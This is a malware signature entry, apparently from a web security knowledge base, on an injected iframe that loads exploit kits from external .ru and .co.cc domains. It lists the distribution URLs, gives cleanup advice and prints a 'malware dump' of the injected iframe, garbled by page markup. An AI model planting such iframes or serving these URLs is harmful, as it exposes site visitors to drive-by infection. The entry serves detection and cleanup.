mwjs-iframe-injected501

Description: A Remote and malicious iframe was identified. It is used to load malware from external web sites. Some details here:New Web Malware Attacks Using .Ru/In.CGI?16 and here: Distributed Malware Network Outbreak Using Stats.php.

This is a very common malware infecting thousands of sites (Jun/Jul 2012). Some of the domains being used:

govtds27.co.cc/tds/in.cgi?defaul
http://purplebeetle.ru/in.cgi?16
http://orangeroller.ru/in.cgi?16
http://hochuinter.ru/in.cgi?8
http://expertinter.ru/in.cgi?8

Those links lead to multiple exploit kits affecting desktop (Windows) users.

Affecting: Any web site (no specific target).

Clean up: Malware is hidden at the index.php or index.html files.

Malware dump:

<br /> <iframe src="<a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter"><a href="http://uploadingbefuddling.org/in.cgi?16&quot;&nbsp;name=&quot;Twitter">http://uploadingbefuddling.org/in.cgi?16" name="Twitter</a></a></a></a></a></a></a></a>..<br /> </code></p> </div><!-- .entry-content --> <footer class="entry-footer wedocs-entry-footer"> <div class="wedocs-article-author" itemprop="author" itemscope itemtype="https://schema.org/Person"> <meta itemprop="name" content="Rodrigo Escobar" /> <meta itemprop="url" content="https://labs.sucuri.net/author/rodrigo-escobar/" /> </div> <meta itemprop="datePublished" content="2019-05-16T00:00:00+00:00"/> <time itemprop="dateModified" datetime=""></time> </footer> <nav class="wedocs-doc-nav wedocs-hide-print"><h3 class="assistive-text screen-reader-text">Doc navigation</h3><span class="nav-prev"><a href="https://labs.sucuri.net/signatures/sitecheck/mwjs-iframe-injected509/">← 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